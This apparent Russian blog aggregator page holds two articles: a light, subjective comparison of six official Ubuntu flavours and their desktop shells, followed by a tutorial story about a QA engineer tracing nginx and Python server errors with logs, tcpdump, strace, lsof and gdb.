Для начала небольшой въезд в тему. Есть операционные системы: Винда, МакОсь и Линукс. О Винде слышали все, и все ей пользовались. О МакОси слышали почти все, а пользовались ей не все. О Линуксе слышали не все, а пользовались им только самые смелые и отважные.

Линуксов много. Винда это одна система, МакОсь тоже одна. Конечно, у них есть версии: семёрка, восьмёрка, десятка или High Sierra, Mojave, Catalina. Но по сути это одна система, которую последовательно делает одна компания. Линуксов сотни, и их делают разные люди и компании.

Почему Линуксов много? Сам Линукс это не операционная система, а ядро, то есть самая важная часть. Без ядра ничего не работает, но ядро само по себе малопригодно для обычного пользователя. К ядру нужно добавить кучу других компонентов, а чтобы всё это было с красивыми окошками, значками и картинками на рабочем столе ещё и натянуть поверх так называемую графическую оболочку. Ядро делают одни люди, дополнительные компоненты другие люди, графическую оболочку третьи. Компонентов и оболочек много, и их можно по-разному смешивать. В итоге появляются четвёртые люди, которые собирают всё вместе и готовят собственно операционную систему в привычном виде. Иначе говоря дистрибутив Линукса. Сделать дистрибутив может один человек, поэтому дистрибутивов много. Кстати, российские операционные системы это дистрибутивы Линукса, и из российского там только нескучные обои для рабочего стола отдельные программы плюс сертифицированные средства для работы с гостайной и прочей конфиденциальной информацией.

Поскольку дистрибутивов много, то выбрать сложно, и это становится ещё одной головной болью для любого, кто решил рискнуть и всё-таки попробовать уйти с Винды (или с МакОси). В дополнение, конечно, к более банальным проблемам вида: ой, Линукс это сложно, он только для программистов, у меня ничего не получится, я командной строки боюсь. Плюс, как водится, разработчики и пользователи разных дистрибутивов постоянно спорят, чей же Линукс круче.

Дистрибутивы Линукса штурмуют крепость с Microsoft, Apple и Google, но борются между собой, а не с защитниками крепости
Дистрибутивы Линукса единым фронтом сражаются против гегемонии Макйрософта. Автор оригинальной картинки С. Ёлкин, а недостающие элементы дорисованы автором статьи

Я решил обновить операционную систему на компьютере и стал выбирать. Когда-то я уже так развлекался скачивал дистрибутивы Линукса и тестировал их. Но это было довольно давно. С тех пор Линуксы изменились, поэтому не помешает протестировать заново.

Из нескольких сотен я взял шесть. Все разновидности Убунты. Убунта это один из самых популярных дистрибутивов. На основе Убунты сделали ещё кучу дистрибутивов (да-да, они ещё и так размножаются: из одного Линукса собирается другой, на его базе третий, потом четвёртый, и так пока новые обои для рабочего стола не закончатся). Я пользовался одним из таких производных дистрибутивов (кстати, российским Рунту называется), так что и тестировать стал Убунту и её официальные разновидности. Официальных разновидностей семь. Из этих семи две можно не смотреть, потому что одна из них для китайцев, а другая для тех, кто профессионально работает со звуком и видео. Смотрим оставшиеся пять плюс оригинал. Конечно, очень субъективно и с кучей попутных замечаний.

Убунта


Убунта это оригинал. На сленге ванильная Убунта, от vanilla стандартный, не имеющий каких-то особенностей. Остальные пять дистрибутивов основаны на ней и отличаются только графической оболочкой: рабочим столом, окошками, панелькой и кнопками. Сама Убунта смахивает на МакОсь, только что панелька не снизу, а слева (но можно переставить вниз). Что всё по-английски это мне просто лень переключать было, на самом деле там и русский есть.

Рабочий стол Ubuntu 20.04 сразу после загрузки в live-режиме
Убунта сразу после загрузки

Котик, стреляющий глазами это на самом деле фосса. Похожа на кошачьих, но на самом деле относится к другому семейству. Живёт на Мадагаскаре. У каждой версии Убунты есть своё кодовое название: животное и какое-то прилагательное. Версия 20.04 называется Focal Fossa. Focal фокус в смысле центральная точка, а Fossa ещё напоминает о FOSS Free and Open Source Software, свободное программное обеспечение с открытым исходным кодом. Вот и на картинке фосса фокусируется на чём-то.

На первый взгляд впечатление хорошее, но оно портится, когда начинаешь работать. Если вы не увидели привычной панельки с открытыми окнами, как в Винде, то всё правильно: нет такой панельки. А есть значки запущенных приложений, которые подсвечиваются, и ещё такая штука Activities, которая похожа на список открытых программ на Андроиде.

Activities в Ubuntu 20.04
Учимся переключаться между окнами в Убунте: тянем мышь в сторону Activities, нажимаем, наводим на окно, нажимаем ещё раз. Видите, как всё просто?

Выглядит эффектно, особенно с красивыми плавными анимациями, но в плане удобства не очень. Ладно бы я только и делал, что музыку слушал и фильмы смотрел, не выходя из браузера но мне же нужно постоянно переключаться между программами, и 10 одновременно открытых окон не редкость. А теперь представляем: каждый раз нужно куда-то тащить мышь, что-то там нажимать, снова куда-то тащить (причём искать нужное окно не по заголовку, а по маленькой картинке), снова нажимать В общем, через час сразу захочешь выкинуть эту систему и больше к ней не возвращаться. Можно, конечно, Альт-Табами переключать окна, но это тоже та ещё фишка.

На Андроид, кстати, смахивает неспроста. В 2011-м какие-то умные люди, делавшие графическую оболочку Убунты, увидели Айпад и подумали: Это будущее. Давайте сделаем такой интерфейс, чтобы он был как у Эппла и чтобы его можно было использовать на планшете. Тогда на всех планшетах будет стоять наша графическую оболочка, мы в шоколаде, а Винде капец. В итоге на планшетах Андроид с Ай-Осью, и даже Майкрософт оттуда ушла. Винда живёт и здравствует, а капец пришёл нормальному интерфейсу Убунты. И, конечно, Убунту на планшетах используют только экстремальные энтузиасты (сразу скажу я даже не пытался). Может быть, и надо откатить всё назад, но за десять лет столько усилий и бабла вложено в этот интерфейс, что его продолжают развивать. Ну, что могу сказать Как минимум он всё же красивый. А что до удобства использования вроде можно поставить какие-то дополнения, которые вернут нормальную панель с окошками. Но мне не очень хочется с ними экспериментировать.

Плюс ещё залез посмотреть расход ресурсов Убунта ест гигабайт оперативной памяти сразу после загрузки. Это почти как Винда. Нет уж, спасибо. В остальном-то вроде нормальная система.

Кубунта


Если Убунта смахивает на МакОсь, то Кубунта на Винду. Сами посмотрите.

Рабочий стол Kubuntu 20.04 сразу после загрузки в live-режиме
Кубунта сразу после загрузки. Кодовое название тоже Focal Fossa, но картинка другая

Тут, к счастью, нет попыток сделать систему для планшета, зато есть попытка сделать относительно нормальную рабочую среду для настольного компьютера. Рабочая среда называется KDE не спрашивайте, как это расшифровывается. В простонародье кеды. Отсюда и К в названии операционной системы. Они там вообще букву К любят: если получится, то добавляют в начало названия программы, если не получится не беда, добавят в конец названия. На крайняк нарисуют на значке.

Рабочий стол KDE с несколькими открытыми окнами
Правда напоминает Винду?

Цветовая схема похожа на десятку, и даже дзинь при появлении уведомления точь-в-точь Честное слово, не Кубунта, а какая-то Виндубунта. Попытка косить под Винду доходит до того, что можно даже настроить кнопки как в Винде правда, почему-то как в Винде 95-й (посмотрите на скриншоте в настройках слева снизу). Конечно, систему можно переодеть, потому что всё в Линуксе настраивается, и тогда она перестанет быть похожей на Винду, но это ещё покопаться в настройках нужно. Да, на всякий случай: если включите окошки и кнопки из 95-го, то жрать ресурсов система все равно будет как в 2020-м. Правда, она в этом плане довольно скромная: каких-то 400 Мб памяти после загрузки это почти ни о чём. Даже не ожидал. Ходили упорные слухи, что кеды тормозные и прожорливые. Но вроде нет. В остальном та же Убунта, потому что технически это одна и та же система. Разве что некоторые программы другие, но Файрфокс и Либра-офис тоже на месте.

Убунта-Матэ


Убунта-Матэ это попытка воссоздать Убунту в том виде, в котором она была до 2011-го. То есть до того самого, когда в оригинале решили делать систему под планшеты и сделали то, что я показывал выше. Тогда какие-то другие умные люди, которые не захотели сдаваться, взяли код старой графической оболочки и стали его дорабатывать и поддерживать. Хорошо помню, что я тогда смотрел на их работу как на попытки создать зомби и думал: Ну ладно, проект заведомо нежизнеспособный, пару лет покрутится и закроется. А вот оно как уже почти десять лет живёт и здравствует, даже в число официальных разновидностей Убунты попал. Ну, бывает. Всё же тяга к классике у людей неистребима.

Рабочий стол Ubuntu MATE 20.04 сразу после загрузки в live-режиме
Да-да, тут две панельки! Если что, панели это вот эти две серые полоски сверху и снизу

Матэ это MATE, название вот этой зелёнькой графической оболочки. Mate это матэ, такое южноамериканское растение, поэтому и зелёное. А ещё mate приятель, так что на дружелюбность намекают. Матэ вообще ни на что не похожа ни на Винду, ни на МакОсь. Похожа она на саму себя, а точнее, на оригинальную придумку из Линуксов 90-х и нулевых: сделать не одну панель с окошками и значками, а две: одну с окошками, другую со значками. Ну и ничего так, получилось. Кстати, можете ещё четыре прямоугольника в правом нижнем углу увидеть это переключатель рабочих столов. В Винде такая штука недавно появилась, в Линуксе существует с незапамятных времён. Типа можно на одном рабочем столе открыть что-то по делам, потом переключиться на соседний рабочий стол и там ВКонтакте сидеть. Правда, я больше одного рабочего стола почти никогда не использовал.

Ubuntu MATE 20.04 с несколькими открытыми окнами на рабочем столе
Если открыть много окошек, то выглядеть будет вот так

В остальном та же Убунта, и в плане потребления ресурсов и скорости работы как оригинал. Тоже спокойно отъедает гигабайт памяти после загрузки. Мне вроде и не жалко, но все равно обидно как-то.

Убунта-Баджи


Убунта-Баджи сделала невозможное: стать ещё более похожей на МакОсь, чем Убунта. Баджи это название ещё одной графической оболочки, если что. Хотя вы, наверное, сами догадались.

РАбочий стол Ubuntu Budgie 20.04 сразу после загрузки в live-режиме
Бесплатная МакОсь Убунту-Баджи сразу после загрузки

Объясняю, как это чудо появилось. Когда в 2011-м какие-то умные люди решили делать Убунту под планшет да-да, всё тоже тогда и началось :) Так вот, пока одни несогласные экспериментировали с созданием зомби (как оказалось, весьма успешно), другие решили создать вместо зомби Принципиально Нового Человека новую графическую оболочку, которая будет в плане удобства работы примерно как старая и без заточки под планшеты, но зато будет вся такая крутая, модная, технологичная. Делали-делали и получили что-то похожее на МакОсь. Одновременно создатели оригинальной Убунты тоже делали-делали и получили что-то похожее на МакОсь. Но Баджи, по-моему, похожа чуть-чуть больше: всё же панелька со значками сразу снизу, а не сбоку. От этого, правда, она ничуть не удобнее: точно так же не пойми как приходится переключаться между окнами, я даже не сразу понял, куда нажимать.

Ubuntu Budgie 20.04 с запущенным системным монитором сразу после загрузки
Может быть, видите под правым значком такую маленькую-маленькую искорку? Это значит, что программа запущена

В целом же по удобству и по расходу ресурсов от оригинала мало отличается тот же гигабайт, как видите, и те же проблемы с жертвуем удобством ради красоты. Плюс у этой системы ещё одна проблема обязательно должна быть: Баджи это всё-таки менее популярная штука, чем Убунта, поэтому шансов, что её можно так же легко настроить под свои вкусы и поправить, если что-то пойдёт не так, существенно меньше.

Лубунта


Лубунта это Убунта для бедных компьютеров с небольшой мощностью. Л значит lightweight, то есть легковесный. Ну, я 400 Мб оперативной памяти после загрузки не назову совсем уж легковесным, но ладно, верим на слово.

Рабочий стол Lubuntu 20.04 сразу после загрузки в live-режиме
Загрузились, сделали селфи

Тоже похоже на Винду и на кеды соответственно. На кеды, надо сказать, не случайно там в основе та же технология лежит (в подробности вдаваться не буду, но можете загуглить Qt). Правда, чтобы на той же технологии создать что-то несколько более быстрое и менее прожорливое (хотя с менее прожорливым, судя по тратам памяти, не вышло), пришлось заменить кучу программ и компонентов их аналогами, которые вроде как попроще и поэтому побыстрее работают. Получилось, с одной стороны, нормально, но в плане визуального впечатления не очень.

Рабочий стол Lubuntu 20.04 с несколькими открытыми окнами
Олдскульные окошки в виде Винды-95. На самом деле можно сделать более красивые, но это нужно немного повозиться

Ксубунта


Ксубунта это ещё одна относительно легковесная разновидность Убунты, но с ещё одной графической оболочкой. Графическая оболочка называется Xfce (экс-эф-си-и!), и порой пишут, что это одно из самых некрасивых названий в Линуксе. На жаргоне крыска, потому что логотип у неё такой.

Рабочий стол Xubuntu 20.04 сразу после загрузки в live-режиме
В правом верхнем углу можно увидеть значок с мордочкой крысы это логотип графической оболочки. Да и звёздочками справа, похоже, тоже мордочку нарисовали

В плане внешнего вида нечто среднее между Виндой, МакОсью и самобытным вариантом. Вообще-то панельку можно легко отправить вниз, и тогда будет как Винда. В плане экономичности к ресурсам как Лубунта. В целом такая на самом деле неплохая система, выдержанная в классическом стиле не супер-модная, но вполне подходящая для работы.

Выводы


Выводов никаких. Чистая вкусовщина. Плюс ещё много нюансов, которые более технические и зависят от того, кто какие программы будет использовать и насколько руки чешутся покопаться под капотом системы, то есть в настройках. Мой личный рейтинг, пожалуй, такой.

  1. Кубунта
  2. Ксубунта
  3. Убунта
  4. Убунта-Матэ
  5. Убунта-Баджи
  6. Лубунта

Если вы мучительно пытаетесь связать такой рейтинг с содержанием статьи и понять, почему так не пытайтесь. Если не видите логики да, всё правильно, её, наверное, тут нет. Я же говорю вкусовщина. Вспомните картинку про вендекапец из начала статьи.

А так-то не забываем, что дистрибутивов Линукса сотни. Так что, возможно, вывод вообще не Убунта, только суровый российский Альт-Линукс.
Подробнее..

Как Иван ошибку в бэкенде локализовывал

09.09.2020 12:15:30 | Автор: admin
В комментариях к одной из моих статей про базовые команды Linux shell для тестировщиков справедливо заметили, что в ней не было указано применение команд в процессе тестирования. Я подумал, что лучше поздно, чем никогда, поэтому решил рассказать историю Backend QA-инженера Вани, который столкнулся с неожиданным поведением сервиса и попытался разобраться, где именно случилась ошибка.



Что тестировал Ваня


Ваня знал, что ему предстоит тестировать связку nginx + сервис.
Здесь я сразу сделаю ремарку: такая связка была выбрана для этой статьи просто потому, что она нагляднее всего может продемонстрировать применение различных утилит при дебаге проблемы и потому, что её очень просто сконфигурировать и поднять. В реальных условиях это может быть либо просто сервис, либо цепочка сервисов, которые делают запросы друг другу.

В качестве сервиса выступает дефолтный HTTP сервер Python SimpleHTTPServer, который в ответ на запрос без параметров выводит содержимое текущей директории:

[root@ivan test_dir_srv]# ls -ltotal 0-rw-r--r-- 1 root root 0 Aug 25 11:23 test_file[root@ivan test_dir_srv]# python3 -m http.server --bind 127.0.0.1 8000Serving HTTP on 127.0.0.1 port 8000 (http://personeltest.ru/away/127.0.0.1:8000/) ...

Nginx же сконфигурирован следующим образом:

upstream test {server 127.0.0.1:8000;}server {listen    80;location / {proxy_pass http://test;}}

Ване нужно было протестировать один-единственный тест-кейс: проверить, что запрос на / работает. Он проверил, и всё работало:

MacBook-Pro-Ivan:~ ivantester$ curl http://12.34.56.78<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Directory listing for /</title></head><body><h1>Directory listing for /</h1><hr><ul><li><a href="test_file">test_file</a></li></ul><hr></body></html>

Но затем в один момент на тестовом стенде разработчики что-то обновили, и Ваня получил ошибку:

MacBook-Pro-Ivan:~ ivantester$ curl http://12.34.56.78<html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.14.2</center></body></html>

Он решил не скидывать эту непонятную ошибку разработчикам, а получить доступ по ssh на сервер и разобраться, в чём там дело. Знаний в области такого рода дебага проблем у него было мало, но он очень хотел научиться, поэтому вооружился поисковиками, логикой и пошёл локализовывать баг.

Первая мысль Вани: логи


Действительно, если случилась ошибка, то нужно просто найти её в лог-файле. Но сначала нужно найти сам лог-файл. Ваня полез в Google и узнал, что часто логи лежат в директории /var/log. Действительно, там нашлась директория nginx:

[root@ivan ~]# ls /var/log/nginx/access.log access.log-20200831 error.log error.log-20200831

Иван посмотрел последние строчки error лога и понял, в чём дело: разработчики ошиблись в конфигурации nginx, в порт upstream закралась опечатка.

[root@ivan ~]# tail /var/log/nginx/error.log2020/08/31 04:36:21 [error] 15050#15050: *90452 connect() failed (111: Connection refused) while connecting to upstream, client: 31.170.95.221, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8009/", host: "12.34.56.78"

Какой можно сделать из этого вывод? Логи лучший друг тестировщиков и разработчиков при локализации ошибок. Если есть какое-то неожиданное поведение сервиса, а в логах при этом ничего нет, то это повод вернуть задачу в разработку с просьбой добавить логов. Ведь если б nginx не писал в лог о неудачной попытке достучаться до апстрима, то, согласитесь, искать проблему было бы сложнее?

В тот момент Ваня задумался: А что, если бы в nginx логи лежали в другой директории? Как бы я их нашёл? Через пару лет у Вани будет больше опыта работы с сервисами в Linux, и он будет знать, что путь к лог-файлу часто передают сервису аргументом командной строки, либо он содержится в файле конфигурации, путь к которому также часто передают сервису аргументом командной строки. Ну и в идеале путь к лог-файлу должен быть прописан в документации сервиса.

Кстати, через файл конфигурации можно найти путь к лог-файлу и в nginx:

[root@ivan ~]# ps ax | grep nginx | grep masterroot   19899 0.0 0.0 57392 2872 ?    Ss  2019  0:00 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf[root@ivan ~]# grep "log" /etc/nginx/nginx.conferror_log /var/log/nginx/error.log warn;log_format main '$remote_addr - $remote_user [$time_local] "$request" 'access_log /var/log/nginx/access.log main;

А что если в логах ничего нет?


В свободное время Ваня решил подумать, а как бы он справился с задачей, если бы nginx не писал ничего в лог. Ваня знал, что сервис слушает порт 8000, поэтому решил посмотреть трафик на этом порту на сервере. С этим ему помогла утилита tcpdump. При правильной конфигурации он видел запрос и ответ:

Дамп трафика на порту 8000
[root@ivan ~]# tcpdump -nn -i lo -A port 8000tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes09:10:42.114284 IP 127.0.0.1.33296 > 127.0.0.1.8000: Flags [S], seq 3390176024, win 43690, options [mss 65495,sackOK,TS val 830366494 ecr 0,nop,wscale 8], length 0E..<..@.@..............@.............0.........1~c.........09:10:42.114293 IP 127.0.0.1.8000 > 127.0.0.1.33296: Flags [S.], seq 4147196208, ack 3390176025, win 43690, options [mss 65495,sackOK,TS val 830366494 ecr 830366494,nop,wscale 8], length 0E..<..@.@.<..........@...110.........0.........1~c.1~c.....09:10:42.114302 IP 127.0.0.1.33296 > 127.0.0.1.8000: Flags [.], ack 1, win 171, options [nop,nop,TS val 830366494 ecr 830366494], length 0E..4..@.@..............@.....111.....(.....1~c.1~c.09:10:42.114329 IP 127.0.0.1.33296 > 127.0.0.1.8000: Flags [P.], seq 1:88, ack 1, win 171, options [nop,nop,TS val 830366494 ecr 830366494], length 87E.....@.@..b...........@.....111...........1~c.1~c.GET / HTTP/1.0Host: testConnection: closeUser-Agent: curl/7.64.1Accept: */*09:10:42.114333 IP 127.0.0.1.8000 > 127.0.0.1.33296: Flags [.], ack 88, win 171, options [nop,nop,TS val 830366494 ecr 830366494], length 0E..4R/@.@............@...111...p.....(.....1~c.1~c.09:10:42.115062 IP 127.0.0.1.8000 > 127.0.0.1.33296: Flags [P.], seq 1:155, ack 88, win 171, options [nop,nop,TS val 830366494 ecr 830366494], length 154E...R0@.@............@...111...p...........1~c.1~c.HTTP/1.0 200 OKServer: SimpleHTTP/0.6 Python/3.7.2Date: Mon, 07 Sep 2020 13:10:42 GMTContent-type: text/html; charset=utf-8Content-Length: 34009:10:42.115072 IP 127.0.0.1.33296 > 127.0.0.1.8000: Flags [.], ack 155, win 175, options [nop,nop,TS val 830366494 ecr 830366494], length 0E..4.@.@..............@...p.11......(.....1~c.1~c.09:10:42.115094 IP 127.0.0.1.8000 > 127.0.0.1.33296: Flags [P.], seq 155:495, ack 88, win 171, options [nop,nop,TS val 830366494 ecr 830366494], length 340E...R1@.@..<.........@...11....p.....|.....1~c.1~c.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Directory listing for /</title></head><body><h1>Directory listing for /</h1><hr><ul><li><a href="test_file">test_file</a></li></ul><hr></body></html>09:10:42.115098 IP 127.0.0.1.33296 > 127.0.0.1.8000: Flags [.], ack 495, win 180, options [nop,nop,TS val 830366494 ecr 830366494], length 0E..4.@.@..............@...p.13......(.....1~c.1~c.09:10:42.115128 IP 127.0.0.1.8000 > 127.0.0.1.33296: Flags [F.], seq 495, ack 88, win 171, options [nop,nop,TS val 830366494 ecr 830366494], length 0E..4R2@.@............@...13....p.....(.....1~c.1~c.09:10:42.115264 IP 127.0.0.1.33296 > 127.0.0.1.8000: Flags [F.], seq 88, ack 496, win 180, options [nop,nop,TS val 830366495 ecr 830366494], length 0E..4..@.@..............@...p.13 .....(.....1~c.1~c.09:10:42.115271 IP 127.0.0.1.8000 > 127.0.0.1.33296: Flags [.], ack 89, win 171, options [nop,nop,TS val 830366495 ecr 830366495], length 0E..4R3@.@............@...13 ...q.....(.....1~c.1~c.^C12 packets captured24 packets received by filter0 packets dropped by kernel


При неправильной конфигурации (с портом 8009 в апстриме nginx) на порту 8000 никакого трафика не было. Ваня обрадовался: теперь даже если разработчики забыли реализовать запись в лог при сетевых ошибках, всё равно можно хотя бы узнать, идёт ли трафик на нужный хост или порт.

Какой вывод можно сделать из этой истории? Даже если логов нет, в Linux есть утилиты, которые могут помочь с локализацией проблем.

А если не сеть?


Всё хорошо работало, но однажды Ваня снова получил ошибку, на этот раз другую:

MacBook-Pro-Ivan:~ ivantester$ curl http://12.34.56.78<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8"><title>Error response</title></head><body><h1>Error response</h1><p>Error code: 404</p><p>Message: File not found.</p><p>Error code explanation: HTTPStatus.NOT_FOUND - Nothing matches the given URI.</p></body></html>

Ваня снова зашёл на сервер, но в этот раз проблема не была связана с сетью. В логе сервиса тоже было написано File not found, и Ваня решил разобраться, почему внезапно появилась такая ошибка. Он знает, что есть процесс python3 -m http.server, но не знает, содержимое какой директории выводит этот сервис (или, другими словами, какая у этого процесса current working directory). Он узнаёт это с помощью команды lsof:

[root@ivan ~]# ps aux | grep python | grep "http.server"root   20638 0.0 0.3 270144 13552 pts/2  S+  08:29  0:00 python3 -m http.server[root@ivan ~]# lsof -p 20638 | grep cwdpython3 20638 root cwd  DIR   253,1   4096 1843551 /root/test_dir_srv2

Также это можно сделать с помощью команды pwdx или с помощью директории proc:

[root@ivan ~]# pwdx 2063820638: /root/test_dir_srv2[root@ivan ~]# ls -l /proc/20638/cwdlrwxrwxrwx 1 root root 0 Aug 31 08:37 /proc/20638/cwd -> /root/test_dir_srv2

Такая директория действительно есть на сервере, и в ней лежит файл с именем test_file. В чём же дело? Иван погуглил и нашёл утилиту strace, с помощью которой можно смотреть, какие системные вызовы выполняет процесс (про strace, кстати, есть хорошая статья на Хабре, и даже не одна). Можно либо запускать новый процесс через strace, либо подключаться этой утилитой к уже запущенному процессу. Ване подходил второй вариант:

Вывод утилиты strace
[root@ivan ~]# strace -ff -p 20638strace: Process 20638 attachedrestart_syscall(<... resuming interrupted poll ...>) = 0poll([{fd=4, events=POLLIN}], 1, 500)  = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500)  = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500)  = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500)  = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500)  = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500)  = 1 ([{fd=4, revents=POLLIN}])accept4(4, {sa_family=AF_INET, sin_port=htons(57530), sin_addr=inet_addr("127.0.0.1")}, [16], SOCK_CLOEXEC) = 5clone(child_stack=0x7f2beeb28fb0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7f2beeb299d0, tls=0x7f2beeb29700, child_tidptr=0x7f2beeb299d0) = 21062futex(0x11204d0, FUTEX_WAIT_PRIVATE, 0, NULLstrace: Process 21062 attached<unfinished ...>[pid 21062] set_robust_list(0x7f2beeb299e0, 24) = 0[pid 21062] futex(0x11204d0, FUTEX_WAKE_PRIVATE, 1) = 1[pid 20638] <... futex resumed> )    = 0[pid 20638] futex(0x921c9c, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 27, {1598879772, 978949000}, ffffffff <unfinished ...>[pid 21062] futex(0x921c9c, FUTEX_WAKE_OP_PRIVATE, 1, 1, 0x921c98, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = 1[pid 20638] <... futex resumed> )    = 0[pid 20638] futex(0x921cc8, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>[pid 21062] futex(0x921cc8, FUTEX_WAKE_PRIVATE, 1) = 1[pid 20638] <... futex resumed> )    = 0[pid 20638] futex(0x921cc8, FUTEX_WAKE_PRIVATE, 1) = 0[pid 20638] poll([{fd=4, events=POLLIN}], 1, 500 <unfinished ...>[pid 21062] recvfrom(5, "GET / HTTP/1.1\r\nConnection: upgr"..., 8192, 0, NULL, NULL) = 153[pid 21062] stat("/root/test_dir_srv/", 0x7f2beeb27350) = -1 ENOENT (No such file or directory)[pid 21062] open("/root/test_dir_srv/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)[pid 21062] write(2, "127.0.0.1 - - [31/Aug/2020 09:16"..., 70) = 70[pid 21062] write(2, "127.0.0.1 - - [31/Aug/2020 09:16"..., 60) = 60[pid 21062] sendto(5, "HTTP/1.0 404 File not found\r\nSer"..., 184, 0, NULL, 0) = 184[pid 21062] sendto(5, "<!DOCTYPE HTML PUBLIC \"-//W3C//D"..., 469, 0, NULL, 0) = 469[pid 21062] shutdown(5, SHUT_WR)    = 0[pid 21062] close(5)          = 0[pid 21062] madvise(0x7f2bee329000, 8368128, MADV_DONTNEED) = 0[pid 21062] exit(0)           = ?[pid 21062] +++ exited with 0 +++<... poll resumed> )          = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500)  = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500)  = 0 (Timeout)poll([{fd=4, events=POLLIN}], 1, 500^Cstrace: Process 20638 detached<detached ...>


Обычно вывод strace довольно объёмный (а может быть и очень большим), поэтому удобнее сразу перенаправлять его в файл и потом уже искать в нём нужные системные вызовы. В данном же случае можно сразу обнаружить, что сервис пытается открыть директорию /root/test_dir_srv/ кто-то переименовал её и не перезапустил после этого сервис, поэтому он возвращает 404.

Если сразу понятно, какие именно системные вызовы нужно посмотреть, можно использовать опцию -e:

[root@ivan ~]# strace -ff -e trace=open,stat -p 20638strace: Process 20638 attachedstrace: Process 21396 attached[pid 21396] stat("/root/test_dir_srv/", 0x7f2beeb27350) = -1 ENOENT (No such file or directory)[pid 21396] open("/root/test_dir_srv/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)[pid 21396] +++ exited with 0 +++^Cstrace: Process 20638 detached

Вывод: иногда можно немножко залезть под капот процессу, а помогает с этим strace. Так как эта утилита выводит все системные вызовы, которые использует процесс, то с её помощью также можно находить и сетевые проблемы (например, к какому хосту/порту пытается подключиться процесс), что делает её довольно универсальным инструментом дебага. Также существует похожая утилита ltrace.

Есть ли что-то ещё?


Ваня на этом не остановился и узнал, что есть GNU Project Debugger GDB. С его помощью можно залезть в процесс и даже немного модифицировать его. И Ваня решил попробовать обнаружить последнюю ошибку с помощью GDB. Он предположил, что раз сервис выводит содержимое директории, то можно попробовать поставить breakpoint на функции open() и посмотреть, что будет:
Вывод утилиты gdb
[root@ivan ~]# gdb -p 23998GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-119.el7Copyright (C) 2013 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.  Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-redhat-linux-gnu".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Attaching to process 23998 <здесь много сообщений о загрузке символов и отсутствии debugging symbols...>...0x00007f2284c0b20d in poll () at ../sysdeps/unix/syscall-template.S:8181T_PSEUDO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)Missing separate debuginfos, use: debuginfo-install keyutils-libs-1.5.8-3.el7.x86_64 krb5-libs-1.15.1-34.el7.x86_64 libcom_err-1.42.9-13.el7.x86_64 libgcc-4.8.5-36.el7.x86_64 libselinux-2.5-14.1.el7.x86_64 openssl-libs-1.0.2k-16.el7.x86_64 pcre-8.32-17.el7.x86_64 zlib-1.2.7-18.el7.x86_64(gdb) set follow-fork-mode child(gdb) b openBreakpoint 1 at 0x7f2284c06d20: open. (2 locations)(gdb) cContinuing.[New Thread 0x7f227a165700 (LWP 24030)][Switching to Thread 0x7f227a165700 (LWP 24030)]Breakpoint 1, open64 () at ../sysdeps/unix/syscall-template.S:8181T_PSEUDO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)(gdb) n83T_PSEUDO_END (SYSCALL_SYMBOL)(gdb) n_io_FileIO___init___impl (opener=<optimized out>, closefd=<optimized out>, mode=<optimized out>, nameobj=0x7f227a68f6f0, self=0x7f227a68f6c0) at ./Modules/_io/fileio.c:381381                Py_END_ALLOW_THREADS(gdb) n379                self->fd = open(name, flags, 0666);(gdb) n381                Py_END_ALLOW_THREADS(gdb) print name$1 = 0x7f227a687c90 "/root/test_dir_srv/"(gdb) qA debugging session is active.Inferior 1 [process 23998] will be detached.Quit anyway? (y or n) yDetaching from program: /usr/local/bin/python3.7, process 23998[Inferior 1 (process 23998) detached]


После команды c (continue) Ваня в другой консоли запустил curl, попал в дебаггере в точку останова и стал выполнять эту программу (то есть сервис) по шагам. Как только он нашёл в коде open по какому-то пути name, он вывел значение этой переменной и увидел /root/test_dir_srv/.
GDB это мощный инструмент, и здесь описан простейший вариант его использования. Иногда он может помочь в воспроизведении каких-либо сложных кейсов (например, можно приостановить процесс в нужный момент и воспроизвести состояние гонки), также он помогает с чтением core dump файлов.

А что если Docker?


В один момент DevOps решили, что сервис теперь будет деплоиться Docker-контейнером, и нужно было провести ретест всех кейсов, которые нашёл Ваня. Ваня без проблем нагуглил следующее:

  1. Использовать tcpdump, strace и gdb можно и внутри контейнера, но нужно иметь ввиду Linux capabilities (есть статья, которая объясняет, почему strace не работал в контейнере без --cap-add=SYS_PTRACE).
  2. Можно использовать опцию --pid.

